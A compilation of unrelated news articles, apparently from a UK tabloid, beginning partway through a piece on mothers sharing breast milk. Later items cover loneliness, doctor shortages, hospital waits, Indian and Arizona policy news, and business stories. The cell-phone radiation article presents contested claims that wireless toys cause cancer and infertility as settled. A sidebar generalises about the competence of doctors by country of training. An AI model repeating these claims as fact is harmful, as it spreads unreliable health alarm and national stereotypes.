Even legitimate hospital milk banks are forced to reject several donations a month for safety reasons, they add.

Up to five per cent of women in the UK struggle to breastfeed as they do not produce enough milk.

Sarah McHugh, from Kidderminster, has since donated Ms Poole a freezer full of her breast milk after over expressing for her daughter Harriet

New mother Bex Poole struggled to breastfeed her son Theo (pictured) and appealed for help on the Facebook page 'Human Milk 4 Human Babies' after a friend recommended it

Ms Poole (pictured) now has a freezer full of Ms McHugh's donated breast milk

'There's an unwritten trust among breastfeeding mums'

Ms Poole struggled to breastfeed her son Theo, but was reluctant to give him baby-milk formula as she does not drink cow's milk herself.

Ms Poole appealed for help online after a friend recommended she visit the Human Milk 4 Human Babies social media page.

She was contacted by new mother Ms McHugh who had excess milk after expressing for her daughter Harriet.

Ms McHugh wrote on the social media page that she was healthy, a non-smoker and donated to hospitals' milk banks to reassure other mothers.

Ms Poole said: 'There's an unwritten trust among breastfeeding mums,' the BBC reported.

The pair were only available to meet late at night, which they said gave the transaction an illicit feel.

They have since become close, with Ms Poole's freezer being full of Ms McHugh's breast milk.

Ms McHugh wrote on the site she is healthy, a non-smoker and donates to hospital milk banks

Ms Poole met Ms McHugh at night, with the pair saying the transaction felt illicit

'Significant risk of passing on infection'

Unlike online 'milk banks', hospitals carefully inspect donations according to NICE guidelines with the milk first being screened for infections and mothers also having their blood tested to ensure they do not carry infections that could be passed to babies.

The milk is then pasteurised and frozen before it is ready to be used.

Dr Gemma Holder, a consultant neonatologist at Birmingham Women's Hospital told the BBC: 'Fresh donor milk has significant risk of potentially passing on infection, particularly if you don't know how it was handled.

'We still get a couple of donors a month, for example, whose milk we aren't able to accept.'

The Food Standards Agency does not recommend mothers share breast milk and urges those wishing to donate or struggling to breastfeed contact their local hospital for advice.

Yet Dr Sally Dowling, from University of the West of England, argues mothers have always shared milk with the World Health Organization even supporting the practice as an alternative for those who cannot breastfeed.

She adds mothers are typically thorough at ensuring the women they receive milk from are healthy and hygienic.

SNP politician Alison Thewliss, who chairs the all-party parliamentary group for infant feeding, believes the rest of the UK should follow One Milk Bank for Scotland, which is part of the health service and ensures breast milk can be collected, processed and distributed safely.
Some people may be genetically prone to be lonely, a study suggests.

Being socially isolated leads to an early grave and is considered to be as damaging as smoking 15 cigarettes a day.

And new research on rhesus macaques - who congregate in groups of up to 200 - revealed some monkeys choose to be lonely for most of their lives.

A team of international scientists believe this suggests their isolation is caused by a persistent trait or traits that they are unable to control.

Researchers from the universities of Exeter, Puerto Rico and Pennsylvania claimed the cause is a mixture of their genes.

Being socially isolated leads to an early grave and is considered to be as damaging as smoking 15 cigarettes a day

Other factors such as age, sex and family size could play a part, claimed Dr Lauren Brent, of Exeter's psychology department.

She said: 'Understanding social isolation is really important, and studying macaques might give us clues about human behaviour.

'Isolation is the latest epidemic among humans, and research has suggested it is as bad for us as smoking 15 cigarettes a day.

'Given the benefits of social integration, we need to understand why some individual animals tend to be socially isolated.'

How was the study carried out?

The study measured integration by observing how much time the macaques spent grooming others and being groomed - a key social behaviour for the species.

Researchers used data from 429 adult rhesus macaques to make the conclusion, which was published in the journal Scientific Reports.

DIABETES RISK FOR LONELY MEN Men who live alone almost double their chances of getting type 2 diabetes. Socially isolated people miss out on the emotional and practical support which could help them live healthier lives, a study suggested yesterday. Men on their own have 94 per cent higher odds of getting type 2 diabetes, while every lost friend increases their risk by 10 per cent. The Maastricht University findings show men have fewer social contacts than women, who do not increase their risk of diabetes if they live alone. This may explain why audits suggest roughly 56 per cent of adult diabetes sufferers are men, while 44 per cent are female. A study of more than 2,800 people shows a good way to ward off diabetes is to live with others and take part in social activities, from sports to book clubs. Advertisement

Factors that led to isolation were age, sex, social status, group size and how long a macaque had belonged to a social group.

However, the identity of an animal's mother did not play a role, suggesting behaviour that leads to isolation is not learned from the mother.

Dr Brent said the findings suggested isolation could be partly maintained by natural selection - meaning there might be some evolutionary benefits.

The possible benefits of isolation include lower risks of disease and conflict.

How many people are lonely?

An estimated 1.1 million over 65s in the UK are chronically lonely, figures suggest. A report this week revealed nine million adults suffer from 'damaging' loneliness - described as a 'social epidemic'.

A recent study also suggested 72 per cent of Americans experience loneliness at some point.

Being chronically lonely leaves adults at risk of developing heart disease and dementia, according to studies.

An increased risk of death

Professor Jane Cummings, chief nursing officer for England, said this week: Social isolation can have a devastating impact not only on peoples mental well-being.'

Speaking about the report, she added that 'evidence shows that it can also increase the risk of premature death by around a third'.

Professor Helen Stokes-Lampard, chair of the Royal College of GPs, previously said social isolation is 'akin to a chronic long-term condition'.

She said in October that the problem of many patients who GPs see isn't medical - it's that 'they are lonely'.
More than 40 per cent of doctors in some areas of England trained abroad, a report shows.

The General Medical Council said the profession had hit 'crunch point' with demand for doctors far outstripping supply.

As a result, the UK is becoming increasingly reliant on foreign-trained doctors particularly from Greece, Portugal, Spain and Italy.

Some 43 per cent of hospital doctors and GPs in East Anglia qualified overseas and the proportion is 41 per cent in the West Midlands.

This falls to 38 per cent in the East Midlands, 36 per cent in London and 18 per cent in the South West. The national average is 34 per cent.

The General Medical Council said the profession had hit 'crunch point' with demand for doctors far outstripping supply

The GMC's report says the number of new doctors  either from the UK or abroad  rose by just 2 per cent since 2012.

Over the same time period there has been a 27 per cent increase in the number of patients arriving in A&E.

Burn out

The report also highlights how increasing numbers of junior doctors are taking a career break midway through training.

Some feel 'burnt out' or want a better work-life balance while others travel abroad to get experience of working in other countries.

Figures show that 54 per cent of junior doctors took a break after their two years of foundation training in 2016 up from 30 per cent in 2012.

This means there are fewer doctors progressing up through the ranks and some of those who take a break never come back.

Crunch point

Charlie Massey, chief executive of the GMC, said: 'We have reached a crucial moment  a crunch point  in the development of the UK's medical workforce.

'The decisions that we make over the next five years will determine whether it can meet these extra demands.

'Each country (in the UK) needs to think carefully about how many doctors are needed, what expertise we need them to have so they can work as flexibly as possible, and where they should be located given the changes and movement in population expected.

'We are a professional regulator, not a workforce planning body, but we want to be an active partner in helping each country of the UK to address these priorities.

FOREIGN DOCTORS: THE FACTS Doctors who qualified in Bangladesh are 13 times more likely to be incompetent, shocking figures showed in April. Often unable to communicate fluently with patients in British, this can negatively impact their medical ability. While poor training in countries with lower standards and cultural barriers could also be to blame, experts warn. The findings back-up the need for a standard testing procedure for all doctors before they begin to practice on patients. Around one in three GPs are from abroad, with a majority having learnt the ropes in Europe, The Times reported at the time. Reliant on foreign doctors, the NHS has actively targeted them to help plug a staffing shortage that has left it in a crisis. University College London researchers also found Egyptian and Nigerian-born GPs face an eight-fold higher risk of being investigated for their actions. Almost 6,000 foreign doctors were hired in the UK last year, despite the ongoing concerns of language barriers. But last year, foreign-trained medics made up 72 per cent of those who were struck off. Advertisement

'The underlying challenge for all in healthcare is how we retain the good doctors we have right now.

'Everything we hear from the profession tells us that we need to value them more; nurture cultures that are safe and supportive, and do what we can to help staff achieve the right balance between their professional and personal lives through more flexible working arrangements.'

The proportion of foreign-trained doctors has risen slightly compared to last year from 33.8 per cent to 34.1 per cent.

Almost three quarters are from outside Europe. Recently, however, increasing numbers of doctors have arrived from EU states which have been hit by economic recession.

Most common countries

The most common countries of origin have historically been India, Pakistan and South Africa but they are increasingly arriving from Spain, Portugal, Greece and Italy.

The GMC is particularly worried that doctors across the board are becoming 'over-burdened' and working at levels which are 'not sustainable.'

This is affecting the 'quality and safety of care' and putting patients at risk, it adds,

Furthermore, the high pressured working environment may be putting promising graduates off from choosing a career as a doctor.

The report says that doctors should be given more support to make their working lives easier.

Professor Jane Dacre, president of the Royal College of Physicians, said: 'We share the report's concern about the low numbers of doctors in some specialties.

'The fact that our population is ageing rapidly, with individuals often having many complex diseases, there needs to be incentives to encourage many more of our physicians into these specialties.'
Childhood cancer survivors naturally age faster and are more likely to die sooner than those who have not had the disease, according to a new study.

The research also showed that survivors are three to six times more likely to develop cancer again.

Researchers said that the number of cancer survivors is set to rise thanks to more effective diagnosis and treatment.

However, survivors are more likely to develop long-term conditions and sooner than the general population bringing their life expectancy down by 30 percent.

Childhood cancer survivors have a 30 percent lower life expectancy than the general population, according to a study from the Mayo Clinic in Minnesota (file image)

Researchers from the Mayo Clinic in Rochester, Minnesota, found that hormonal/gland disorders (endocrinopathies), heart problems, lower bone mineral density, lung scarring (pulmonary fibrosis) and secondary cancers are more likely to occur in childhood cancer survivors later in life.

Frailty to bones and joints may also occur at an earlier age than the general population due to the damage caused by chemotherapy and radiotherapy to normal healthy tissues.

The cancer and harsh treatments diminishes 'physiological reserve', the capacity in organs and biological body systems given to us at birth.

These are the body's natural resilience to overcome internal and external biological stressors, researchers said.

The study involved scientists scanning databases for published evidence on the cellular processes involved in ageing and the potential impact of cancer treatments.

They found a wide range of side effects and late complications which have implications not only for the individuals concerned, but also for health services.

Other findings showed that childhood cancer survivors' estimated life expectancy is 30 percent lower than that of the general population.

Also, the risk of frailty among bone marrow transplant recipients is around eight times as high as that of their siblings.

Radiation therapy is associated with dementia, memory loss and secondary bone marrow cell and blood cancers, while long-term steroid treatment is linked to a higher risk of cataracts, osteoporosis, nerve damage and infection.

Lead study author Dr Shahrukh Hashmi said: 'While ageing prematurely is a better alternative to dying prematurely, a better understanding of what drives this process presents an opportunity for improvement.

'We believe that cancer survivors deserve long-term follow-up for the mitigation of the late effects.'
Patients waiting to be admitted were forced to wait for up to five-and-a-half hours on Friday night as 23 ambulances queued outside a hospital's A&E department.

Queen Alexandra (QA) Hospital in Portsmouth, whose A&E department has previously been described by the Quality Care Commission as 'chaotic', experienced an 'exceptionally difficult weekend' after a backlog of patients turned up with flu and other respiratory and winter illnesses.

NHS figures released last week also reveal 1,336 people across the UK have been admitted to hospital with the winter vomiting bug, up from 790 the week before.

Experts said this spike in norovirus cases is adding pressure to hospital beds, with 94.6 per cent being occupied, which is causing the health service to buckle under the strain, according to an ITV Meridian report.

Shadow health secretary Jonathan Ashworth also blames the recent drop in temperatures for the increase in demand on hospital services.

Patients were forced to wait for up to five-and-a-half hours while 23 ambulances queued outside a hospital's A&E department as winter illnesses leave medics struggling to cope

Queen Alexandra Hospital in Portsmouth experienced an 'exceptionally difficult weekend' after a backlog of patients turned up with flu and other respiratory illnesses

NHS WILL NOT BE ABLE TO COPE DURING THE WINTER MONTHS DUE TO UNPRECEDENTED PRESSURE Patients will have to 'sleep, take paracetamol and pray', concerned doctors warned earlier this month ahead of the impending winter crisis. The NHS is expected to face unprecedented pressure in the coming months, as campaigners fear it will be disastrous amid soaring waiting lists in A&E. Now GPs are echoing the widespread worries, claiming it will become a 'survival of the fittest' as they are already struggling to cope. A survey of 633 doctors, undertaken by GP Online, revealed the concerns as the recruitment crisis continues to burn with no signs of slowing. One GP, whose identity is unknown, told the publication: 'One flu epidemic and my out-of-hours service will be in meltdown. It literally will be survival of the fittest. 'The ambulance service cannot cope, there are no beds available in the hospitals and overnight I single-handedly cover half a county. 'The public will have to sleep, take paracetamol and pray. There is no way we will cope. We were working at capacity during August never mind January.' Advertisement

'Unprecedented volume of admissions'

Most patients waited for around 60 minutes, yet one was forced to sit outside in an ambulance for five-and-a-half hours.

Dr John Knighton, medical director at Portsmouth Hospitals NHS Trust, said: 'We have had an unprecedented volume of admissions with an increasing number of patients with respiratory illnesses and flu.

'The ambulance crew and medical staff have worked exceptionally hard to make sure patients with the highest safety risks are prioritised.

'Of course we regret that downstream there is a blockage,' ITV Meridian reported.

He added: 'The Emergency Department at Queen Alexandra hospital was extremely busy over the weekend (15-16 December) and unfortunately this meant longer waits than normal for ambulances arriving at the hospital.

'When the hospital experiences this level of demand the safety of patients is our primary concern.

'All patients were assessed as soon as they arrived at the emergency department and every effort was made to minimise delays and disruption.

'We have been working closely with our colleagues at South Central Ambulance service and I would like to thank them for their support.

'Winter is an extremely challenging time of year for the NHS and we have robust plans in place to cope with the extra demands on our services.'

In total, 125 hours were spent between patients waiting to be seen by QA's A&E staff on Friday alone, with 450 hours being wasted over the week.

Patient Jamie Linfield, from Petersfield, was collected from his home by an ambulance at around midday on Friday after suffering severe chest and back pain.

He said: 'Obviously I wanted to get into the hospital as soon as possible. There was 17 ambulances waited outside and it was just getting worse and worse.'

Mr Linfield was not seen to until the early hours of Saturday morning.

In total, 125 hours were spent between patients waiting to be seen by A&E staff on Friday alone

Some 450 hours were wasted by patients waiting at the hospital over the past week

'Behind every [statistic] is a person waiting too long'

QA hospital aside, the demands of winter illnesses are leading to delays in ambulances waiting at hospitals for patients to be admitted across the country.

Last week, 11,900 vehicles were held up for more than 30 minutes, up from 10,200 the previous week. Of these, 2,340 were delays of an hour or more, up from 1,840.

Janet Davies, head of the Royal College of Nursing, said: 'Behind every [statistic] is a person waiting too long, often in pain and discomfort and at their lowest ebb.'

One patient arrived at hospital with chest pain to be told 17 ambulances were waiting ahead
Gifting a cell phone or smart toy could put your child at risk for cancer this holiday season, experts warned today.

Their advise comes after California recommended that its residents take measures to keep more physical distance between themselves and their cell phones to minimize potentially dangerous radiation exposures last week.

Now, several health and technology experts, including former National Institutes for Health toxicologist Dr Ronald Melnick, held a discussion of cell phone and high-tech toy risks and preventative measures.

They advised families to use extra caution when buying wireless devices, smartphones and toys and virtual reality headsets, urging shoppers that all of these give off microwave radiation that may cause cancer and infertility.

Wirelessly-transmitting holiday gifts like the Jitterbug smartphone (left) and Apple Watch (right) emit radiation linked to brain cancers, a former NIH scientist warned today

Holiday gifts that could expose your children to microwave radiation Cell phones and smartphones, including those designed for children, like the $112 Jitterbug

Smart watches, like the $329 Apple Watch

Virtual reality headsets, like PlayStation's $349 model

Wi-Fi or cell phone connected dolls and stuffed animals, like the $60 Hello Barbie or $20 Cloud Pets

Tablets, including the $80 Amazon Fire 7 Kids

Wireless gaming systems, such as Nintendo's new $300 Switch console

Wirelessly-operated drones, such as the $500 DJI Spark Advertisement

Smartphones and other wireless devices put out small amounts of low frequency microwave radiation when they connect networks and transmit information.

This energy is not nearly as strong as ultraviolet radiation or X-ray energy.

Alarmingly, however, recent research has linked our close and nearly constant contact with our smartphones to cancers and infertility in the parts of our bodies the devices touch.

In response, the California Department of Health warned last week that people should sleep with their phones shut off or an arm's length away from them, and keep the devices in a bag rather than their pockets.

Radiation surges when cell phones are trying to connect to faint network signals or transmit large amounts of information.

Experts warn that its these inconsistent exposures that make the devices particularly risky.

Studies have established close statistical links between male infertility and smartphones stored in pockets.

Others have suggested that holding smartphones up to our ears may cause ear and brain cancers - including glioma, the same kind that Senator John McCain is battling.

The California warning emphasized that radiation may be even more dangerous for children's developing brains.

Even if your children are too young for a smartphone, the experts warned today that buying some of the hottest smart toys on the market may still put their health at risk.

Some of this holiday season's hottest high-dollar gifts for children and adolescents give off radio waves, ranging from the $60 Hello Barbie to the newest $329 Apple Watch.

'Parents are often unaware that these child-friendly devices are basically two-way microwave radios, and children are much more vulnerable to the health risks of this radiation,' said Dr Devra Davis, president of Environmental Health Trust.

Wirelessly-controlled drones like the DJI Phantom 4 (left) and virtual reality headsets such as Samsung's Gear (right) were included in a list of holiday gifts that may be dangerous, especially to children's developing brains

'The scientific evidence is now clear and compelling. We need to give our children toys and tools to grow and learn, not toys and tools which could harm them,' she added.

Dr Melnick was part of a $25 million study of the National Institutes of Health's toxicology study on phone radiation.

The study intentionally exposed rats to cell phone radiation.

'Results from that study showed that rats developed tumors, gliomas (brain tumors) and malignant [tumors] of the heart. In addition, there was DNA damage in brain cells of exposed animals,' he said.

Dr Melnick was particularly concerned because he says that the rat developed the same kinds of cancers other studies had observed occurring in cell phone using humans.

'In my view, this should raise public health concerns to a much higher level than exists now,' Dr Melnick said.
The Government's decision to establish a National Medical Commission (NMC) to replace the Medical Council of India (MCI) has come at the most appropriate juncture for the ailing medical education and health sector.

It comes at the end of long process of deliberation both inside and outside Parliament as well as courts in the past few years.

MCI has the dubious distinction of being the only regulatory body to have been accused of being a 'den of corruption' by a High Court, a 'big source of corruption' by a health minister and 'corruption-ridden' by a parliamentary panel.

All attempts to reform the Medical Council of India in the last 20 years have 'failed'

All attempts to reform MCI had failed in the past 20 years, so the only way to redeem medical regulation is to throw MCI into the dustbin and create a new regulatory infrastructure.

The creation of NMC, first proposed by the parliamentary committee on health in March 2016, is going to be the first step.

It is very critical for every country to have an upright, transparent and pro-people medical regulatory authority, as it has a direct bearing on the well-being of its citizens.

MCI - along with state medical councils - is supposed to be the legal custodian of medical education (licencing of medical colleges and curriculum), medical ethics, licencing of doctors, medical negligence and safeguarding of patient rights.

In each of these tasks, not only has the MCI failed miserably but has subverted the very processes with corruption under the guise of self-regulation.

The March 2016 report of the parliamentary committee was unprecedented as it contained one full chapter titled 'Corruption in MCI,' and recorded the unqualified admission by the MCI president that there was 'corruption in sanctioning of medical colleges or increasing or decreasing medical seats.'

The CBI should have taken note of this testimony and initiated investigation into it right away. Even now, it's not too late.

All allegations should be investigated thoroughly and criminal proceedings initiated.

It's necessary to dismantle the infrastructure of corruption in MCI completely.

A fully-fledged commission should be established to investigate the misdeeds of the MCI and state medical councils in the past 20 years.

While setting up NMC and other bodies under it, all measures should be taken to ensure that only honest persons  with no conflict of interest  are appointed in a transparent manner.

The NMC should not be the sole preserve of the medical community. It must include eminent people from different walks of life. The number of non-doctors in the medical regulator should be substantial.

In the British Medical Council, non-doctors are in majority and can even become its chairman.

India can no longer afford to have a closed user group like MCI to govern medical education and ethics, in the name of self-regulation. It is important to ensure that NMC does not become another MCI 10 years down the line.
Doctors at Delhi government hospitals have opposed chief minister Arvind Kejriwal's decision to reserve 50 per cent beds for Delhi residents at GB Pant hospital, saying there should be no discrimination against the patients coming from outside.

Last week, the Aam Aadmi Party (AAP)-led Delhi government passed an order to reserve half of the beds available at its superspecialty GB Pant Hospital for the residents of the national Capital requiring specialised treatments, but doctors have now asked for a rethink.

The order states that the facility seeks to provide 'timely' and 'best available' treatment for patients, who are residents of Delhi.

Chief minister Arvind Kejriwal's AAP government passed an order to reserve 50 per cent of beds at the GB Pant hospital for Delhi residents only (photo for representation only)

Dr Vivek Choukesy, president of the Federation of Resident Doctors Association (FORDA) told Mail Today: 'It is very unconstitutional as even in the essential medical services, beds cannot be fixed for patients belonging to any city or region.

'GB Pant Hospital is one of the tertiary care institutions of the Delhi government that sees a lot of rush every day.

'What if any non-resident of Delhi comes to the hospital in a critical condition? Should he not be given admission?'

Chief minister Arvind Kejriwal's decision to reserve 50 per cent beds for Delhi residents at GB Pant hospital has come under fire from medics

'There should be no discrimination among patients for getting treatment. This will make our work more troublesome as there would be empty beds. We would not be able to provide it to patients belonging to other states,' said Dr Choukesy.

Doctors also said that instead of passing such orders, the government should concentrate on making other hospitals, well-equipped with proper healthcare facilities.

It has been decided that 50 per cent of the total beds shall be reserved for patients, who fulfill the following conditions - they must be residents of Delhi, they should have been referred by another Delhi government hospital and the admission should have been for specialised treatment or for planned surgeries, stated the order which has been seen by Mail Today.

Dr Nishant Ashwani, a senior doctor at GB Pant Hospital and joint secretary, FORDA, said: 'Here, we follow a policy of "one patient one bed". We don't know how this order will be executed. It is very impractical. At GB Pant hospital, we get lot of referral cases from outside Delhi.

'If 50 per cent of the beds are fixed for Delhi patients, we would have to refuse beds to severely ill patients belonging to other states.'

Officials have informed that GB Pant Hospital gets about three lakh patients in the OPD and almost 15,000 patients in general and private wards every year.
PHOENIX -- Public officials can't hide public business by using their own cell phones for texts, emails and social messages, the state Court of Appeals has ruled.

In a decision with broad implications, the judges rejected arguments by the Attorney General's Office that someone has no right to seek information off the private cell phones of Department of Public Safety officers. Judge Paul McMurdie, writing for the unanimous three-judge panel, noted that DPS officers admitted they routinely use their personal phones for official business.

Potentially more significant, the new ruling conflicts with an opinion issued earlier this year by Attorney General Mark Brnovich.

He said the only time messages from private cell phones become public is when those messages are stored in a government database. That effectively created a loophole.

But McMurdie said that limitation does not apply.

There was no immediate response from Brnovich.

The case involves Robin and John Lunney who sought records from DPS and the state Department of Public Safety following the 2012 death of their son. A trial judge rejected the contention that they were entitled to the private cell phone records of the officers at the scene of the accident.

McMurdie said it's not that simple.

On one hand, the judge said the public is not entitled to a public employee's purely personal records.

"As recognized by the United States and Arizona Supreme Courts, an individual has a cognizable private interest in his or her personal cell phone,'' McMurdie wrote. But the judge said the line between public and private has to be resolved by a court looking at the information being sought to determine if it qualifies as a public record.

Here, McMurdie said, there is no question but that the officers were using their own cell phones to conduct police business while working.

The only thing that kept the trial judge from determining if what was on the cell phones crossed into the public realm, was that DPS contacted the officers who told them that what the couple wanted did not exist. Therefore, McMurdie said, there was no violation of the public records law.

But what remains, however, is the appellate court's clear statement of Arizona law.

"A public employee's private cell phone records pertaining to the conduct of public business may become public records subject to disclosure if a public records requestor establishes the employee used the cell phone for a public purpose,'' the court concluded.

In a formal opinion in July, Brnovich concluded that public officials can't hide evidence of their official activities through texts and social media posts made from their personal cell phones. He said there is a "duty'' of those who conduct official business on their own devices to record them for preservation; He said that the same mandate applied to messages sent through social media sites like Facebook and Twitter.

But Brnovich provided what could be an escape clause for elected officials and others seeking to hide what they do.

"If the electronic message is solely on a private electronic device or through a social media account that an agency has not established as a system for conducting government business, then ... the electronic message is not a public record,'' he wrote. And Brnovich said a 2000 change to the law expanding it to cover electronic records includes only those on "agency-maintained system.''

Dan Barr, attorney for the First Amendment Coalition, said the appellate court ruling makes it clear that's not the case.

"The loophole wasn't there to begin with,'' he said of Brnovich's opinion. "Brnovich thought it was.''

What the appellate court has done, Barr said, is made clear that the question of what is a public record depends on what is in it, not where it is located.

"You look at the nature of the communications,'' he said. "You don't look at what type of device and who owns it.''

Potentially more significant, Barr said the ruling--unless overturned--says that public officials have an obligation to preserve all of those personal communications. He said that includes not only emails that are most likely to be backed up automatically on some server, but texts that exist only on the phones of the sender and recipient -- texts that could be routinely deleted.

"If you're using your official email account, its a lot easier to preserve those records because it's on the public body's (computer) server,'' Barr said. "But if you're going to try to circumvent the public records law by using your Gmail account or texting, then the onus is on you to maintain those records.''

Barr conceded that enforcing the requirement to preserve and produce those records on an individual official's cell phone could prove difficult if that person balks. But he said the problem is not insurmountable.

"What will make people sit up and take notice is that a public official gets sanctioned for failing to maintain these records,'' he said.

Separately, the appellate court slapped DPS for taking 135 days -- meaning 95 working days -- to respond to the couple's request.

"Because the state did not provide a legally sufficient reason for the delay, we hold the state's response to this request was not prompt,'' McMurdie wrote, directing the trial judge to determine the "appropriate sanction'' to impose.
Mobile phone customers will be ale to ditch an old provider by sending a free text message in future, under sweeping regulator reforms.

In 18 months time, customers will no longer have to call their provider to explain why they want to leave and be subjected to drawn out 'unwanted' efforts to try and make them stay.

Under Ofcom's new rules, mobile providers will also be banned from charging for notice periods running after the switch date.

He'll be switching: Mobile customers will be able to switch providers by text message from July 2019

This will put an end to people paying for old and new services at the same time, with the regulator claiming to be able to save consumers 10million a year.

Around 2.5 million people experience a major problem while trying to switch mobile providers, with seven in ten encountering 'at least some' difficulty, Ofcom said.

Lindsey Fussell, Ofcom's consumer group director, said: 'Too many people are put off by the hassle of switching mobile provider. Our changes will make it quicker and easier for mobile phone users to get a better deal.

'Customers will control how much contact they have with their current mobile provider, preventing companies from delaying and frustrating the switching process.'

HOW THE NEW SWITCHING SYSTEM WILL WORK From July 2019, mobile users will be able to switch providers by requesting a unique switching code from their current provider by text or online. Depending on whether someone wishes to keep their existing mobile number or not, they will text one of two short codes to their current provider. All providers will have to use the same short codes. The existing provider has to immediately respond by text  with either a porting authorisation code if the consumer wishes to keep their phone number or a 'cancellation' code if they want a new one. The providers reply must also include important information about any early termination charges, outstanding handset costs, or pay-as-you-go credit balances. The unique switching code will be valid for 30 days. Consumers will be able to pass the code on to a new provider when they place an order for a new service, without the need for any further discussion. The switching has to be completed within one business day for consumers for two working days for businesses.

Mobile operators will have to set up 'short codes' enabling people to text for free switching and provide immediate automated responses.

The switching service then has to take place within one working day, leaving the customer with no notice period charges to pay.

All the new rules will come into force from 1 July 2019.

For the system to work, all of the UK's mobile operators will need to make changes to their systems and co-ordinate with one another.

Problems: Around 2.5 million people experience a major problem while trying to switch mobile providers

Mobile providers will also have to publish and promote 'clear guidance' to help customers follow the new process and make informed switching decisions.

A Vodafone spokesman said: 'We agree that it should be simple for customers to select the service which best suits them and we are examining Ofcom's announcement.

'Customers should not have to pay twice to switch supplier, a change we have already implemented.

'Proper provision also needs to be made for customers on 'bundled' packages, as well as those wanting to switch to forthcoming fibre-to-the-home (FTTH) broadband services.'

Meanwhile, a spokesman from Three said: 'While we are pleased that there is now a simpler process, we believe that Ofcoms decision not to prevent "last ditch" deals means that the UK still lags behind its international peers in terms of consumer rights.'

Around 5 million UK consumers currently switch mobile provider each year
English sparkling wine, Eastern European reds and dry fino sherry are flying off the shelves as families stock up ahead of Christmas.

That is the view of Rowan Gormley, the boss of Majestic Wine, Britains largest specialist wine retailer with more than 200 stores around the country and sales of 465million last year.

And as customers get in the festive spirit, bigger has become better, both in terms of wine and champagne.

Magnums have become trendy, says Gormley.

Corker: Drink Britains largest specialist wine retailer Majestic Wine has undergone something of a transformation under ebullient 55-year-old boss Rowan Gormley

Majestic has undergone something of a transformation under the ebullient 55-year-olds leadership.

It has converted its store managers from shelf stackers, taking their marching orders from head office, into wine enthusiasts who know and understand the tastes and aspirations of their customers.

Weve got bright young people in stores who love wine and are very good at helping customers discover wines they probably wouldnt have found themselves, the South African proclaims.

So as to empower managers, Gormley, parachuted into Majestic through a reverse takeover by Naked Wines in 2015, led a bonfire of silly rules.

And to encourage store bosses to seize the opportunity over the holiday season, when so much business is done, managers at the best performing shops this Christmas will earn bonuses of up to 10,000.

That compares with a miserable 400 to 500 before the Gormley makeover.

ROWAN GORMLEY, 55 BORN 1962, in the South African city of Boksburg, a rough gold mining town.

1962, in the South African city of Boksburg, a rough gold mining town. EDUCATION Accounting at the University of Cape Town.

Accounting at the University of Cape Town. JOBS He trained at Arthur Andersen in South Africa. Left the country in 1987 because he didnt like the apartheid regime. Moved to Britain to work for venture capital group Electra. Poached by Richard Branson to work for Virgin in 1994 and devised the idea of taking brand into financial services.

He trained at Arthur Andersen in South Africa. Left the country in 1987 because he didnt like the apartheid regime. Moved to Britain to work for venture capital group Electra. Poached by Richard Branson to work for Virgin in 1994 and devised the idea of taking brand into financial services. FAMILY Married with three children. His middle daughter is the first woman tailor on Savile Row in 300 years.

Married with three children. His middle daughter is the first woman tailor on Savile Row in 300 years. LIVES Suffolk at the weekends, North London during the week.

Suffolk at the weekends, North London during the week. LEISURE Hiking, drinking wine with friends, sailing and playing tennis.

Hiking, drinking wine with friends, sailing and playing tennis. WORKING DAYS Never the same. Up at 5am, then catches up with businesses in Australia and California. Breakfast is coffee and a poached egg. If I am feeling energetic I take the cover off the exercise bike.

Never the same. Up at 5am, then catches up with businesses in Australia and California. Breakfast is coffee and a poached egg. If I am feeling energetic I take the cover off the exercise bike. PHILOSOPHY Growing business by investing in people.

Weve tried to get the stores as close to having your own shop without having to go and find 100,000 to finance it. We call it franchise-light.

Clad in a plaid shirt and bomber jacket, serial entrepreneur Gormley, the founder of Richard Bransons Virgin Money, is infectiously enthusiastic about wine. He likes nothing more than diving into the market to buy 50 cases of something delicious at a great price and getting it onto the shelves in super-rapid time.

He is working hard on giving consumers better, more value-for-money choices in wine.

Since the Brexit vote, for example, he notes a rise in wines coming from Eastern Europe.

Romania and Slovenia have produced very good wine for a long time. But slightly snobbishly, people have ignored it, he says.

A wine that Gormley recommends is a dry Furmint from Hungary which historically has been associated with the sweeter Tokaji brands. Absolutely delicious, he gushes.

Majestic also needs to be fleet of foot when it comes to the festive table and filling the holiday cocktail cabinet consumer, because tastes change rapidly.

Sherry is making a big comeback, Gormley notes.

That is not the sweet Harveys Bristol Cream sherry favoured by Aunt Maud but the dry style, the fino drunk with some salted almonds, he says.

The other big winner is another favourite tipple of a past generation. Craft gin grows by leaps and bounds, the Majestic chief adds.

Indeed, Britons have bought more than 47m bottles so far this year, setting a record.

It was partly driven by the growth of craft and premium distillers such as Sipsmith. Gin sales in the UK have doubled in value over the last six years, reaching 1.2billion in the 12 months to the end of September.

The more local the gin, the more popular it is among consumers. And the boom in gin has been enormously beneficial to fashionable mixer brands.

People come into our stores and ask for Fever-Tree, he notes.

The popularity of Fever-Tree, whose shares have risen more than 1,000 per cent since it floated on the London Stock Exchange in late 2014, is phenomenal Gormley says. Schweppes must be absolutely kicking themselves, he adds.

The other big surprise is the number of people wanting English sparkling wines in preference to French champagne.

UK fizz: Majestic Wine boss Rowan Gormley is suprised by the number of people wanting English sparkling wines in preference to French champagne

The demand is fantastic Gormley says. So much so that Majestic is crowdfunding its own sparkling wine production and let customers name it. They didnt call it Winey McWineface, which I am very grateful for, Gormley quips.

Instead they opted for the name of Anglo-Saxon princess Beora. The vineyards are in Kent but it is too soon to get it on the shelves for this holiday season.

Even though Majestic is primarily about wine Gormley is hugely supportive of the way in which craft beers are starting to displace the bland, big international brands that have come to dominate the industry.

They have much more in common with wine. It doesnt all taste the same. People do want to taste them and try them and that works for us, Gormley says.

Since taking the helm, Gormley he has only closed seven dogs out of the 217 branches he inherited.

Majestics flagship branch is in fashionable Clapham in South London. The best performing branches are in Oxford and Chichester in West Sussex. Both are out-of-town.

Gormley has been focused on making wine buying a better and less stressful experience and in spite of the squeeze on household incomes this Christmas, Gormley is confident that the shock to consumer confidence will work its way through the system.

The net effects of Brexit have been to put at most 20p extra on the price of a bottle which Gormley describes as negligible. He notes that the average bottle of wine is still a lot cheaper than a movie ticket.

The proprietor of Britains biggest wine store chain is confident that consumers will keep quaffing.
Shares in digital media company One Media iP rocketed nearly 53 per cent after ex-Pinewood bosses Lord Grade and Ivan Dunleavy snapped up a stake in the firm.

Lord Grade, 74, who previously served as chairman of the BBC and ITV, has reunited with Dunleavy to take a 17.4 per cent stake.

The pair ran Pinewood Studios together before selling the company for 323million to Aermont Capital last year. Together they have invested 375,000 in the London-listed firm and will become non-executive directors.

